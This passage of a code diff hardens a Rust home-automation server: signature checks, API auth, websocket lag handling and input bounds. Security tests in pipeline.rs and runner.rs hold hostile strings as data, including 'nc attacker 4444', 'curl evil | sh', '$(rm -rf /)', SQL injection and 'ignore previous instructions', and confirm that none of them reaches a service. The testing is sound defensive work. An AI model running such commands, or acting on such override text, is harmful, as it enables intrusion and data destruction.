+        assert_eq!(&bytes[..tag], WITNESS_DOMAIN_TAG);
+        assert_eq!(&bytes[tag..tag + 32], &[7u8; 32]);
+    }
+
+    #[test]
+    fn canonical_bytes_is_domain_separated() {
+        // Cross-protocol separation: the witness preimage must begin
+        // with the domain tag so its SHA-256 / Ed25519 message can
+        // never be reinterpreted as a message from another signing
+        // context that shares key infrastructure (e.g. the manifest
+        // `binary_signature` over `binary_sha256`). Fails on the old
+        // un-tagged encoding, which began directly with `prev_hash`.
+        let bytes = canonical_bytes(WitnessHash::GENESIS, 0, 0, "k", b"p");
+        assert!(
+            bytes.starts_with(WITNESS_DOMAIN_TAG),
+            "canonical message is not domain-separated"
+        );
+        // The tag is versioned and NUL-terminated.
+        assert!(WITNESS_DOMAIN_TAG.ends_with(b"\x00"));
+        assert!(WITNESS_DOMAIN_TAG.windows(2).any(|w| w == b"v1"));
+    }
+
+    #[test]
+    fn witness_preimage_cannot_collide_with_a_bare_manifest_digest() {
+        // The manifest `binary_signature` signs a bare 64-byte
+        // SHA-256 hex string. A witness preimage must never *equal*
+        // such a string, even if an operator crafted kind/payload to
+        // try — the domain tag (33 bytes) + fixed 48-byte prefix make
+        // the witness message structurally longer and tag-distinct.
+        // Fails on the old encoding only if it could ever produce a
+        // 64-byte all-hex message; the tag makes the impossibility
+        // explicit and regression-guarded.
+        let manifest_digest_msg = "a".repeat(64); // 64 ASCII hex bytes
+        let witness = canonical_bytes(WitnessHash::GENESIS, 0, 0, "", b"");
+        assert_ne!(witness.as_slice(), manifest_digest_msg.as_bytes());
+        assert!(
+            witness.len() > manifest_digest_msg.len(),
+            "domain tag must make witness preimage structurally distinct"
+        );
+        assert!(!witness.starts_with(b"aaaa"));
     }
 
     #[test]

v2/crates/cog-ha-matter/src/witness_signing.rs

@@ -36,7 +36,7 @@
 //! key store (separate concern). Tests use a fixed-bytes seed for
 //! determinism — never check in real Seed keys here.
 
-use ed25519_dalek::{Signature, Signer, SigningKey, Verifier, VerifyingKey};
+use ed25519_dalek::{Signature, Signer, SigningKey, VerifyingKey};
 
 use crate::witness::{canonical_bytes, WitnessEvent};
 
@@ -58,6 +58,16 @@ pub fn sign_event(event: &WitnessEvent, key: &SigningKey) -> Signature {
 /// Verify an Ed25519 signature against a witness event using the
 /// Seed's public key. `Ok(())` iff the signature is valid for the
 /// event's canonical bytes under this key.
+///
+/// Uses `verify_strict` (not the permissive `Verifier::verify`) on
+/// purpose: for a tamper-evident *audit* chain the signature is the
+/// attestation, so non-canonical encodings and small-order public
+/// keys must be rejected. `verify_strict` enforces RFC 8032's
+/// stricter checks, giving the "one canonical signature per event"
+/// property an auditor relies on when comparing or deduplicating
+/// signed witness records. The public key is caller-pinned (the
+/// Seed's known verifying key) — never parsed from the event — so a
+/// forged event carrying its own key cannot self-verify.
 pub fn verify_signature(
     event: &WitnessEvent,
     signature: &Signature,
@@ -71,7 +81,7 @@ pub fn verify_signature(
         &event.payload,
     );
     public_key
-        .verify(&bytes, signature)
+        .verify_strict(&bytes, signature)
         .map_err(|_| SignatureVerifyError::Invalid)
 }
 
@@ -140,6 +150,58 @@ mod tests {
         verify_signature(&event, &sig, &public).expect("clean signature verifies");
     }
 
+    #[test]
+    fn signature_commits_to_domain_tag_not_bare_fields() {
+        // The signature is over the domain-tagged canonical bytes. A
+        // signature produced over the *un-tagged* concatenation of the
+        // same fields must NOT verify — proving cross-protocol
+        // separation reaches the signature layer, not just the hash.
+        // Fails on the old encoding where the signed message began
+        // directly with `prev_hash` (no tag).
+        use ed25519_dalek::Signer;
+        let key = fixed_key();
+        let public = key.verifying_key();
+        let event = fresh_event();
+
+        // Hand-build the OLD (un-tagged) preimage and sign it.
+        let mut untagged = Vec::new();
+        untagged.extend_from_slice(&event.prev_hash.0);
+        untagged.extend_from_slice(&event.seq.to_be_bytes());
+        untagged.extend_from_slice(&event.timestamp_unix_s.to_be_bytes());
+        untagged.extend_from_slice(&(event.kind.len() as u32).to_be_bytes());
+        untagged.extend_from_slice(event.kind.as_bytes());
+        untagged.extend_from_slice(&(event.payload.len() as u32).to_be_bytes());
+        untagged.extend_from_slice(&event.payload);
+        let old_sig = key.sign(&untagged);
+
+        // The current verifier (which uses the domain-tagged message)
+        // must reject a signature made over the un-tagged bytes.
+        let err = verify_signature(&event, &old_sig, &public).unwrap_err();
+        assert_eq!(err, SignatureVerifyError::Invalid);
+
+        // Sanity: the proper signature still verifies.
+        let good = sign_event(&event, &key);
+        verify_signature(&event, &good, &public).expect("tagged signature verifies");
+    }
+
+    #[test]
+    fn verify_uses_strict_path_and_pins_caller_key() {
+        // Regression guard: verification must run through the strict
+        // path against a CALLER-supplied key. A wrong key fails; the
+        // event never carries its own verifying key, so a forged event
+        // cannot self-attest. (verify_strict additionally rejects
+        // non-canonical / small-order encodings.)
+        let key = fixed_key();
+        let wrong = SigningKey::from_bytes(b"another-wrong-key-another-wrong-");
+        let event = fresh_event();
+        let sig = sign_event(&event, &key);
+        verify_signature(&event, &sig, &key.verifying_key()).expect("right key verifies");
+        assert_eq!(
+            verify_signature(&event, &sig, &wrong.verifying_key()).unwrap_err(),
+            SignatureVerifyError::Invalid
+        );
+    }
+
     #[test]
     fn verify_rejects_signature_under_wrong_key() {
         let key = fixed_key();

v2/crates/homecore-api/src/rest.rs

@@ -12,8 +12,20 @@ use crate::state::SharedState;
 #[derive(Serialize)]
 pub struct ApiRunning { message: &'static str }
 
-pub async fn api_root() -> Json<ApiRunning> {
-    Json(ApiRunning { message: "API running." })
+/// `GET /api/` — the HA `APIStatusView` ("API running." ping).
+///
+/// Security (HC-API-AUTH-01): HA's `APIStatusView` inherits
+/// `requires_auth = True` from `HomeAssistantView`, so an unauthenticated
+/// (or wrong-token) request to `/api/` returns **401**, not 200. HA
+/// clients (and the companion app) rely on this status route as a
+/// *token-validation probe* — a 200 here would tell a client a bad token
+/// is good, and would let an unauthenticated party confirm a live
+/// HOMECORE-API endpoint. The P2 handler skipped the bearer gate that
+/// every sibling route applies; this restores wire-compat by validating
+/// the bearer like `get_config`/`get_states` before replying.
+pub async fn api_root(headers: HeaderMap, State(s): State<SharedState>) -> ApiResult<Json<ApiRunning>> {
+    let _ = BearerAuth::from_headers(&headers, s.tokens()).await?;
+    Ok(Json(ApiRunning { message: "API running." }))
 }
 
 #[derive(Serialize)]

v2/crates/homecore-api/src/ws.rs

@@ -298,7 +298,17 @@ impl Connection {
                                     }
                                 }
                                 Ok(_) => {}
-                                Err(_) => break,
+                                // A slow consumer that falls >4,096 events behind
+                                // gets `Lagged(n)`, which is RECOVERABLE: the bus
+                                // doc (`bus.rs` §"Lagged receivers must re-sync")
+                                // and HA's WS contract both keep the subscription
+                                // alive across a lag. The pre-fix `Err(_) => break`
+                                // treated `Lagged` as fatal, silently killing the
+                                // client's event stream on a burst (HC-WS-LAG-01).
+                                // Skip the dropped window and continue; only a
+                                // `Closed` sender ends the task.
+                                Err(broadcast::error::RecvError::Lagged(_)) => continue,
+                                Err(broadcast::error::RecvError::Closed) => break,
                             },
                             evt = domain_rx.recv() => match evt {
                                 Ok(de) => {
@@ -316,7 +326,12 @@ impl Connection {
                                         if tx_clone.send(payload.to_string()).is_err() { break; }
                                     }
                                 }
-                                Err(_) => break,
+                                // Same recoverable-lag handling as the system arm
+                                // above (HC-WS-LAG-01): a lagged domain-event
+                                // receiver re-syncs and continues; only `Closed`
+                                // terminates the subscription.
+                                Err(broadcast::error::RecvError::Lagged(_)) => continue,
+                                Err(broadcast::error::RecvError::Closed) => break,
                             }
                         }
                     }

v2/crates/homecore-api/tests/server_bin_auth.rs

@@ -75,3 +75,72 @@ async fn from_env_path_enforces_whitelist() {
     assert!(!store.is_valid("not_in_whitelist").await);
     assert!(!store.is_dev_mode().await, "from_env must NOT be dev mode");
 }
+
+// ─── HC-API-AUTH-01: `GET /api/` must be auth-gated like every sibling ───
+//
+// HA's `APIStatusView` inherits `requires_auth = True`, so `/api/` returns
+// 401 for a missing/wrong bearer and 200 only for a valid one. The pre-fix
+// `api_root` took no headers and unconditionally returned 200 — these two
+// tests FAIL on that code.
+
+#[tokio::test]
+async fn api_root_rejects_missing_bearer() {
+    let app = router(provisioned_state("the_real_token").await);
+    let resp = app
+        .oneshot(
+            Request::builder()
+                .uri("/api/")
+                .body(Body::empty())
+                .unwrap(),
+        )
+        .await
+        .unwrap();
+    assert_eq!(
+        resp.status(),
+        StatusCode::UNAUTHORIZED,
+        "GET /api/ with NO bearer must be 401 (HC-API-AUTH-01) — HA's \
+         APIStatusView requires_auth=True; a 200 here lets an \
+         unauthenticated party confirm a live endpoint and tells a \
+         token-validation probe a bad token is good"
+    );
+}
+
+#[tokio::test]
+async fn api_root_rejects_wrong_bearer() {
+    let app = router(provisioned_state("the_real_token").await);
+    let resp = app
+        .oneshot(
+            Request::builder()
+                .uri("/api/")
+                .header("Authorization", "Bearer the_wrong_token")
+                .body(Body::empty())
+                .unwrap(),
+        )
+        .await
+        .unwrap();
+    assert_eq!(
+        resp.status(),
+        StatusCode::UNAUTHORIZED,
+        "GET /api/ with a WRONG bearer must be 401 (HC-API-AUTH-01)"
+    );
+}
+
+#[tokio::test]
+async fn api_root_accepts_correct_bearer() {
+    let app = router(provisioned_state("the_real_token").await);
+    let resp = app
+        .oneshot(
+            Request::builder()
+                .uri("/api/")
+                .header("Authorization", "Bearer the_real_token")
+                .body(Body::empty())
+                .unwrap(),
+        )
+        .await
+        .unwrap();
+    assert_eq!(
+        resp.status(),
+        StatusCode::OK,
+        "GET /api/ with the correct bearer must still return 200 (API running.)"
+    );
+}

v2/crates/homecore-api/tests/ws_handshake.rs

@@ -166,3 +166,100 @@ async fn ping_pong_reply_is_received() {
     assert_eq!(reply["type"], "pong");
     assert_eq!(reply["id"], 7);
 }
+
+/// Variant of [`spawn_server_with_token`] that also returns a `HomeCore`
+/// handle (cheap `Arc` clone) so the test can fire events into the *same*
+/// bus the served subscription reads from.
+async fn spawn_server_returning_homecore(valid_token: &str) -> (SocketAddr, HomeCore) {
+    let hc = HomeCore::new();
+    let tokens = LongLivedTokenStore::empty();
+    tokens.register(valid_token).await;
+    let state = SharedState::with_tokens(hc.clone(), "Test", "test-version", tokens);
+    let app = router(state);
+
+    let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+    let addr = listener.local_addr().unwrap();
+    tokio::spawn(async move {
+        axum::serve(listener, app).await.unwrap();
+    });
+    (addr, hc)
+}
+
+#[tokio::test]
+async fn subscription_survives_broadcast_lag() {
+    // HC-WS-LAG-01: the per-subscription event task must treat a broadcast
+    // `Lagged(n)` as RECOVERABLE (re-sync + continue), matching the bus
+    // contract ("Lagged receivers must re-sync") and HA's WS semantics.
+    //
+    // The pre-fix `Err(_) => break` killed the whole event-stream task on
+    // the first lag, so after a >4,096-event burst the client's stream
+    // went permanently silent. This test fires far more than the 4,096
+    // channel capacity to force a `Lagged`, then fires ONE more event and
+    // asserts the subscription still delivers it. FAILS (5s timeout) on
+    // the old code because the task is already dead.
+    use homecore::{Context, DomainEvent};
+
+    let (addr, hc) = spawn_server_returning_homecore("good_token_abc").await;
+    let url = format!("ws://{addr}/api/websocket");
+    let (mut ws, _resp) = connect_async(&url).await.unwrap();
+
+    let _ = next_json(&mut ws).await; // auth_required
+    ws.send(Message::Text(
+        serde_json::json!({"type":"auth","access_token":"good_token_abc"}).to_string(),
+    ))
+    .await
+    .unwrap();
+    let auth = next_json(&mut ws).await;
+    assert_eq!(auth["type"], "auth_ok");
+
+    // Subscribe to a specific domain event type so unrelated traffic is
+    // filtered out and we can deterministically match the post-lag event.
+    ws.send(Message::Text(
+        serde_json::json!({"id": 1, "type": "subscribe_events", "event_type": "lag_probe"})
+            .to_string(),
+    ))
+    .await
+    .unwrap();
+    let ack = next_json(&mut ws).await; // result ok for the subscribe
+    assert_eq!(ack["type"], "result");
+    assert_eq!(ack["success"], true);
+
+    // Flood the bus far past EVENT_CHANNEL_CAPACITY (4,096) with events the
+    // subscription FILTERS OUT (different event_type). Because the client
+    // never reads them off the WS, the server-side broadcast receiver falls
+    // behind and the NEXT `recv()` yields `Lagged`. We fire synchronously
+    // and don't yield to the WS reader, guaranteeing the overflow.
+    for i in 0..6000u32 {
+        hc.bus().fire_domain(DomainEvent::new(
+            "noise",
+            serde_json::json!({ "i": i }),
+            Context::new(),
+        ));
+    }
+
+    // Now fire the event the client IS subscribed to. On the fixed code the
+    // task recovered from `Lagged` and continues, so this is delivered. On
+    // the old code the task broke on `Lagged` and this never arrives.
+    hc.bus().fire_domain(DomainEvent::new(
+        "lag_probe",
+        serde_json::json!({ "marker": "post-lag" }),
+        Context::new(),
+    ));
+
+    // Drain frames until we see our post-lag event (ignoring any noise the
+    // filter let slip before the lag), bounded by a timeout.
+    let got = tokio::time::timeout(std::time::Duration::from_secs(5), async {
+        loop {
+            let v = next_json(&mut ws).await;
+            if v["type"] == "event" && v["event"]["event_type"] == "lag_probe" {
+                return v;
+            }
+        }
+    })
+    .await
+    .expect(
+        "subscription went silent after a broadcast lag — Lagged was treated \
+         as fatal (HC-WS-LAG-01)",
+    );
+    assert_eq!(got["event"]["data"]["marker"], "post-lag");
+}

v2/crates/homecore-assist/src/embedding.rs

@@ -149,6 +149,44 @@ mod tests {
         assert!(sim_unrel < 0.3, "unrelated similarity too high: {sim_unrel:.3}");
     }
 
+    #[test]
+    fn embeddings_are_structurally_finite() {
+        // SECURITY (NaN-poisoning): the embedding path takes only `&str` and
+        // produces values via FNV feature-hashing + a guarded L2 normalise.
+        // There is NO external float input and NO unguarded division, so a
+        // crafted utterance cannot inject NaN/±Inf into a vector and poison the
+        // cosine k-NN match. Prove every component is finite across adversarial
+        // inputs (empty, punctuation-only, unicode, very long, control chars).
+        for s in [
+            "",
+            "!!! ???",
+            "turn on the kitchen light",
+            "🔥🔥🔥 \u{0}\u{1}\u{7f} mix",
+            &"x".repeat(10_000),
+            "NaN inf -inf 1e999",
+        ] {
+            let v = embed(s);
+            assert_eq!(v.len(), EMBEDDING_DIM);
+            assert!(
+                v.iter().all(|x| x.is_finite()),
+                "embedding of {s:?} contained a non-finite component"
+            );
+        }
+    }
+
+    #[test]
+    fn cosine_with_zero_vector_is_finite_not_nan() {
+        // SECURITY (NaN-poisoning): an empty/punctuation-only utterance embeds
+        // to the zero vector. Cosine against any exemplar must be a finite 0.0,
+        // never NaN — so a below-threshold comparison stays well-defined and the
+        // recognizer falls through (no action) rather than matching on garbage.
+        let zero = embed("!!! ???");
+        let real = embed("turn on the light");
+        let sim = cosine_similarity(&zero, &real);
+        assert!(sim.is_finite(), "cosine vs zero vector must be finite, got {sim}");
+        assert_eq!(sim, 0.0, "dot product with the zero vector is exactly 0");
+    }
+
     #[test]
     fn identical_text_is_similarity_one() {
         let a = embed("lock the front door");

v2/crates/homecore-assist/src/lib.rs

@@ -47,7 +47,9 @@ pub mod pipeline;
 pub mod embedding;
 
 pub use intent::{Card, Intent, IntentName, IntentResponse};
-pub use recognizer::{IntentRecognizer, RecognizerError, RegexIntentRecognizer};
+pub use recognizer::{
+    IntentRecognizer, RecognizerError, RegexIntentRecognizer, MAX_UTTERANCE_BYTES,
+};
 pub use semantic_recognizer::{SemanticIntentRecognizer, DEFAULT_SIMILARITY_THRESHOLD};
 pub use handler::{
     HandlerError, HassCancelAll, HassLightSet, HassNevermind, HassTurnOff, HassTurnOn,

v2/crates/homecore-assist/src/pipeline.rs

@@ -215,6 +215,52 @@ mod tests {
         assert!(resp.speech.contains("not sure") || resp.speech.contains("I'm not"));
     }
 
+    #[tokio::test]
+    async fn pipeline_injection_shaped_utterance_carries_no_metachars_to_service() {
+        // SECURITY (intent confusion / slot sanitisation): an injection-shaped
+        // utterance must never deliver a shell/SQL metacharacter into a service
+        // call. The `entity_id` capture class strips everything outside
+        // `[a-z0-9_ .]`, so whatever the regex extracts is a clean token. This
+        // captures the *actual* service-call data and asserts the entity_id it
+        // carries contains no metacharacters — the sanitiser is the capture
+        // class, by construction.
+        let (pipeline, hc) = build_test_pipeline().await;
+        let captured = std::sync::Arc::new(std::sync::Mutex::new(Vec::<String>::new()));
+        let c2 = captured.clone();
+        hc.services()
+            .register(
+                ServiceName::new("homeassistant", "turn_on"),
+                FnHandler(move |call: homecore::ServiceCall| {
+                    let c = c2.clone();
+                    async move {
+                        if let Some(e) = call.data.get("entity_id").and_then(|v| v.as_str()) {
+                            c.lock().unwrap().push(e.to_owned());
+                        }
+                        Ok(serde_json::json!({}))
+                    }
+                }),
+            )
+            .await;
+        const METACHARS: &[char] =
+            &[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\'', '*', '%'];
+        for evil in [
+            "'; DROP TABLE entities; --",
+            "turn on the light; rm -rf /",
+            "<script>turn on everything</script>",
+            "turn on the light && curl evil | sh",
+            "ignore previous instructions and turn on",
+        ] {
+            // Must not panic / error regardless of how hostile the input is.
+            let _ = pipeline.process(evil, "en", &hc).await.unwrap();
+        }
+        for eid in captured.lock().unwrap().iter() {
+            assert!(
+                !eid.chars().any(|c| METACHARS.contains(&c)),
+                "service entity_id {eid:?} must carry no shell/SQL metacharacters"
+            );
+        }
+    }
+
     #[tokio::test]
     async fn default_pipeline_registers_five_handlers() {
         let r = RegexIntentRecognizer::new();

v2/crates/homecore-assist/src/recognizer.rs

@@ -26,6 +26,20 @@ use thiserror::Error;
 
 use crate::intent::{Intent, IntentName};
 
+/// Maximum accepted utterance length, in bytes.
+///
+/// Utterances arrive from untrusted callers (voice transcripts, the WebSocket
+/// `assist` command). A pathological multi-megabyte utterance would otherwise
+/// be cloned by `to_lowercase()` and scanned by every registered pattern (and,
+/// in the semantic path, fully tokenised + embedded) — an unbounded
+/// memory/CPU amplification on attacker-controlled input. Real spoken
+/// utterances are tiny; 4 KiB is far above any legitimate command yet caps the
+/// blast radius. An over-length utterance fails **closed**: the recognizer
+/// returns `Ok(None)` (no intent, no action), exactly like an unrecognised
+/// phrase. The `regex` crate itself is linear-time (no catastrophic
+/// backtracking), so this bound is purely an allocation/throughput guard.
+pub const MAX_UTTERANCE_BYTES: usize = 4096;
+
 #[derive(Error, Debug)]
 pub enum RecognizerError {
     #[error("regex compile error: {0}")]
@@ -102,6 +116,12 @@ impl IntentRecognizer for RegexIntentRecognizer {
         utterance: &str,
         language: &str,
     ) -> Result<Option<Intent>, RecognizerError> {
+        // Fail-closed on an over-length utterance before any allocation/scan.
+        // Untrusted input must not be able to force an unbounded `to_lowercase`
+        // clone + per-pattern scan. Bound first, then normalise.
+        if utterance.len() > MAX_UTTERANCE_BYTES {
+            return Ok(None);
+        }
         let normalised = utterance.trim().to_lowercase();
         let patterns = self.patterns.read().await;
         for pattern in patterns.iter() {
@@ -183,6 +203,55 @@ mod tests {
         assert!(result.is_none());
     }
 
+    #[tokio::test]
+    async fn over_length_utterance_fails_closed() {
+        // SECURITY (DoS / fail-closed): an utterance larger than the bound must
+        // return Ok(None) WITHOUT being normalised or scanned. Crucially, even
+        // an over-length utterance that *contains* a matching command must NOT
+        // resolve — fail closed, never open.
+        //
+        // This FAILS against the pre-fix recognizer: there, a giant prefix
+        // followed by "turn on the kitchen light" would still match HassTurnOn
+        // (and force a multi-megabyte `to_lowercase` clone + scan first).
+        let r = turn_on_recognizer().await;
+        let huge = format!("{} turn on the kitchen light", "a ".repeat(MAX_UTTERANCE_BYTES));
+        assert!(huge.len() > MAX_UTTERANCE_BYTES);
+
+        let result = r.recognize(&huge, "en").await.unwrap();
+        assert!(
+            result.is_none(),
+            "over-length utterance must fail closed (no intent, no action)"
+        );
+
+        // And a just-under-bound utterance still works, so the cap doesn't
+        // break legitimate (tiny) commands.
+        let ok = r
+            .recognize("turn on the kitchen light", "en")
+            .await
+            .unwrap();
+        assert!(ok.is_some(), "normal-length command must still resolve");
+    }
+
+    #[tokio::test]
+    async fn pathological_backtracking_pattern_completes_in_bounded_time() {
+        // SECURITY (ReDoS): the `regex` crate is a linear-time finite automaton,
+        // so even a classic catastrophic-backtracking shape `(a+)+$` cannot hang
+        // on a crafted adversarial input. This proves the recognizer terminates
+        // promptly on the worst-case input the regex engine is asked to run.
+        let r = RegexIntentRecognizer::new();
+        r.register("Evil", r"(a+)+$", "*").await.unwrap();
+        // Just under the length bound: all 'a' then a 'b' — the classic input
+        // that destroys a backtracking engine. Linear-time regex shrugs.
+        let evil = format!("{}b", "a".repeat(MAX_UTTERANCE_BYTES - 1));
+        let start = std::time::Instant::now();
+        let _ = r.recognize(&evil, "en").await.unwrap();
+        let elapsed = start.elapsed();
+        assert!(
+            elapsed < std::time::Duration::from_secs(2),
+            "linear-time regex must not hang on adversarial input; took {elapsed:?}"
+        );
+    }
+
     #[tokio::test]
     async fn language_filter_skips_non_matching() {
         let r = RegexIntentRecognizer::new();

v2/crates/homecore-assist/src/runner.rs

@@ -393,6 +393,63 @@ mod tests {
         assert!(matches!(err, AssistError::ParseError(_)));
     }
 
+    #[tokio::test]
+    async fn shell_metachars_never_survive_into_a_resolved_slot() {
+        // SECURITY (command/argument injection): two layers of defense.
+        //   1. There is NO subprocess — `spawn` is a lifecycle flag and
+        //      `RufloRunnerOpts` is inert, so no argv is ever built.
+        //   2. Even so, the `entity_id` capture class is `[a-z_][a-z0-9_ .]*`,
+        //      which *excludes* every shell metacharacter. So when an
+        //      injection-shaped utterance DOES resolve (the regex is not exact-
+        //      anchored), the captured slot is a clean token with the hostile
+        //      tail stripped — never `;`, `|`, `$`, backtick, `&`, `/`, etc.
+        // This pins the slot-sanitisation-by-construction property: a slot value
+        // can never carry a metachar into a (future) argv.
+        let mut runner = LocalRunner::new(turn_on_recognizer().await);
+        runner.spawn(RufloRunnerOpts::default()).await.unwrap();
+        const METACHARS: &[char] = &[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\''];
+        for evil in [
+            "turn on the light; rm -rf /",
+            "turn on the light && shutdown -h now",
+            "turn on the light | nc attacker 4444",
+            "turn on the light `curl evil.sh | sh`",
+            "turn on the light $(reboot)",
+        ] {
+            let resp = runner
+                .send_request(serde_json::json!({"utterance": evil, "language": "en"}))
+                .await
+                .unwrap();
+            if let Some(intent) = resp.intent {
+                if let Some(eid) = intent.entity_id() {
+                    assert!(
+                        !eid.chars().any(|c| METACHARS.contains(&c)),
+                        "resolved entity_id {eid:?} from {evil:?} must contain no shell metachars"
+                    );
+                }
+            }
+        }
+    }
+
+    #[tokio::test]
+    async fn runner_opts_are_inert_no_process_spawned() {
+        // SECURITY (command injection): even a hostile `script_path` / `env` in
+        // RufloRunnerOpts is never consumed — `spawn` launches no process. This
+        // documents-and-pins that the data-gated P2 subprocess is genuinely
+        // absent (confirmed Noop/Local, no spawn surface today).
+        let mut env = std::collections::HashMap::new();
+        env.insert("EVIL".to_owned(), "$(rm -rf /)".to_owned());
+        let opts = RufloRunnerOpts {
+            script_path: "/bin/sh -c 'curl evil | sh'".to_owned(),
+            env,
+            timeout_ms: 1,
+        };
+        let mut runner = NoopRunner::new();
+        // No panic, no spawn, no error — the opts are pure data.
+        assert!(runner.spawn(opts.clone()).await.is_ok());
+        let mut local = LocalRunner::new(turn_on_recognizer().await);
+        assert!(local.spawn(opts).await.is_ok());
+    }
+
     #[tokio::test]
     async fn local_runner_send_before_spawn_is_not_started() {
         let runner = LocalRunner::new(turn_on_recognizer().await);

v2/crates/homecore-assist/src/semantic_recognizer.rs

@@ -135,6 +135,12 @@ impl SemanticIntentRecognizer {
         utterance: &str,
         language: &str,
     ) -> Result<(Option<Intent>, Option<f32>), RecognizerError> {
+        // Fail-closed on an over-length utterance before embedding/scanning.
+        // Untrusted input must not force an unbounded `to_lowercase` clone +
+        // full tokenisation/embedding. Mirrors the regex recognizer's bound.
+        if utterance.len() > crate::recognizer::MAX_UTTERANCE_BYTES {
+            return Ok((None, None));
+        }
         if let Some((id, similarity)) = self.nearest(utterance, language).await {
             if similarity >= self.threshold {
                 let inner = self.index.read().await;
@@ -228,6 +234,32 @@ mod tests {
         r
     }
 
+    #[tokio::test]
+    async fn empty_utterance_against_empty_index_no_panic_no_match() {
+        // SECURITY (NaN/empty-poisoning): an empty (zero-vector) query against an
+        // empty index must not panic and must yield no intent — the recognizer
+        // falls through to the (also empty) regex fallback. Proves the empty-
+        // iterator `max_by` path returns None cleanly.
+        let semantic = SemanticIntentRecognizer::new(RegexIntentRecognizer::new());
+        let result = semantic.recognize("", "en").await.unwrap();
+        assert!(result.is_none(), "empty utterance must produce no intent / no action");
+    }
+
+    #[tokio::test]
+    async fn over_length_utterance_fails_closed_semantic() {
+        // SECURITY (DoS / fail-closed): an over-length utterance must short-
+        // circuit before embedding/scanning, returning no intent — even if it
+        // textually contains an enrolled/fallback-matchable command.
+        let semantic = SemanticIntentRecognizer::new(turn_on_recognizer().await);
+        let huge = format!(
+            "{} turn on the kitchen light",
+            "a ".repeat(crate::recognizer::MAX_UTTERANCE_BYTES)
+        );
+        assert!(huge.len() > crate::recognizer::MAX_UTTERANCE_BYTES);
+        let result = semantic.recognize(&huge, "en").await.unwrap();
+        assert!(result.is_none(), "over-length utterance must fail closed in semantic path");
+    }
+
     #[tokio::test]
     async fn semantic_recognizer_delegates_to_fallback() {
         // No exemplars enrolled → empty HNSW index → pure regex fallback.

v2/crates/homecore-automation/Cargo.toml

@@ -29,8 +29,10 @@ serde = { version = "1", features = ["derive"] }
 serde_yaml = "0.9"
 serde_json = "1"
 
-# MiniJinja — HA-compatible Jinja2 template engine in pure Rust (ADR-129 §2.1)
-minijinja = { version = "2", features = ["json", "loader"] }
+# MiniJinja — HA-compatible Jinja2 template engine in pure Rust (ADR-129 §2.1).
+# `fuel` bounds instruction count so a malicious `template:` condition cannot
+# spin the engine with a nested-loop / huge-repeat DoS (HC-SEC-01).
+minijinja = { version = "2", features = ["json", "loader", "fuel"] }
 
 # Error handling
 thiserror = "1"

v2/crates/homecore-automation/src/action.rs

@@ -70,6 +70,32 @@ impl ExecutionContext {
     }
 }
 
+/// Upper bound for a `delay` / `wait_for_trigger` timeout, in seconds
+/// (~100 years). Caps absurd values so `Duration::from_secs_f64` cannot
+/// overflow-panic on e.g. `seconds: 1e308`, while still allowing any
+/// realistic automation delay (HC-SEC-02).
+const MAX_DELAY_SECS: f64 = 3.15e9;
+
+/// Convert a user-supplied seconds value into a `Duration` without
+/// panicking (HC-SEC-02).
+///
+/// `Duration::from_secs_f64` **panics** on negative, NaN, infinite, or
+/// overflowing inputs. Those values are all reachable from a crafted
+/// automation YAML (`delay: {seconds: -1}`, `.nan`, `.inf`, `1e308`), so a
+/// single hostile config would crash the running automation task. We
+/// instead saturate to a safe range — matching Home Assistant's lenient
+/// treatment of a non-positive delay as "no delay":
+///
+/// - non-finite (NaN / ±inf) → `0`
+/// - negative → `0`
+/// - above [`MAX_DELAY_SECS`] → clamped to the cap
+fn safe_duration_from_secs(seconds: f64) -> Duration {
+    if !seconds.is_finite() || seconds <= 0.0 {
+        return Duration::ZERO;
+    }
+    Duration::from_secs_f64(seconds.min(MAX_DELAY_SECS))
+}
+
 /// Action configuration. Deserialized from YAML `action:` blocks.
 #[derive(Clone, Debug, Serialize, Deserialize)]
 #[serde(tag = "action", rename_all = "snake_case")]
@@ -154,7 +180,10 @@ impl Action {
                     Ok(result)
                 }
                 Action::Delay { seconds } => {
-                    let dur = Duration::from_secs_f64(*seconds);
+                    // `safe_duration_from_secs` guards against negative /
+                    // NaN / infinite / overflowing values that would
+                    // otherwise panic `Duration::from_secs_f64` (HC-SEC-02).
+                    let dur = safe_duration_from_secs(*seconds);
                     sleep(dur).await;
                     Ok(serde_json::Value::Null)
                 }
@@ -172,7 +201,8 @@ impl Action {
                     // P1 stub — just sleeps for the timeout duration if specified.
                     // Full trigger subscription lands in P2.
                     if let Some(secs) = timeout_seconds {
-                        sleep(Duration::from_secs_f64(*secs)).await;
+                        // Same non-panicking guard as `Delay` (HC-SEC-02).
+                        sleep(safe_duration_from_secs(*secs)).await;
                     }
                     Ok(serde_json::Value::Null)
                 }
@@ -243,6 +273,68 @@ mod tests {
         assert!(result.is_null());
     }
 
+    // ── HC-SEC-02: a crafted delay must not panic the run task ─────────
+    //
+    // `Duration::from_secs_f64` panics on negative / NaN / infinite /
+    // overflowing inputs, all reachable from a YAML `delay:` value. On the
+    // pre-fix code each of these aborts the spawned automation task with a
+    // panic; the guard saturates to a safe Duration instead. These tests
+    // fail on old (panic = test failure).
+    #[tokio::test]
+    async fn delay_negative_seconds_does_not_panic() {
+        let hc = HomeCore::new();
+        let mut ctx = ExecutionContext::new(hc, "auto");
+        let result = Action::Delay { seconds: -1.0 }.execute(&mut ctx).await;
+        assert!(result.is_ok(), "negative delay must be treated as 0, not panic");
+    }
+
+    #[tokio::test]
+    async fn delay_nan_seconds_does_not_panic() {
+        let hc = HomeCore::new();
+        let mut ctx = ExecutionContext::new(hc, "auto");
+        let result = Action::Delay { seconds: f64::NAN }.execute(&mut ctx).await;
+        assert!(result.is_ok(), "NaN delay must be treated as 0, not panic");
+    }
+
+    #[tokio::test]
+    async fn delay_infinite_seconds_does_not_panic() {
+        let hc = HomeCore::new();
+        let mut ctx = ExecutionContext::new(hc, "auto");
+        let result = Action::Delay { seconds: f64::INFINITY }.execute(&mut ctx).await;
+        assert!(result.is_ok(), "infinite delay must saturate to 0, not panic");
+    }
+
+    // Note: the overflow case (1e300) is covered by the synchronous
+    // `safe_duration_saturates_hostile_values` unit test below — executing
+    // `Action::Delay { seconds: 1e300 }` would genuinely sleep for the
+    // clamped (~100-year) duration, so we assert the conversion directly
+    // rather than through `execute`.
+
+    #[tokio::test]
+    async fn wait_for_trigger_negative_timeout_does_not_panic() {
+        let hc = HomeCore::new();
+        let mut ctx = ExecutionContext::new(hc, "auto");
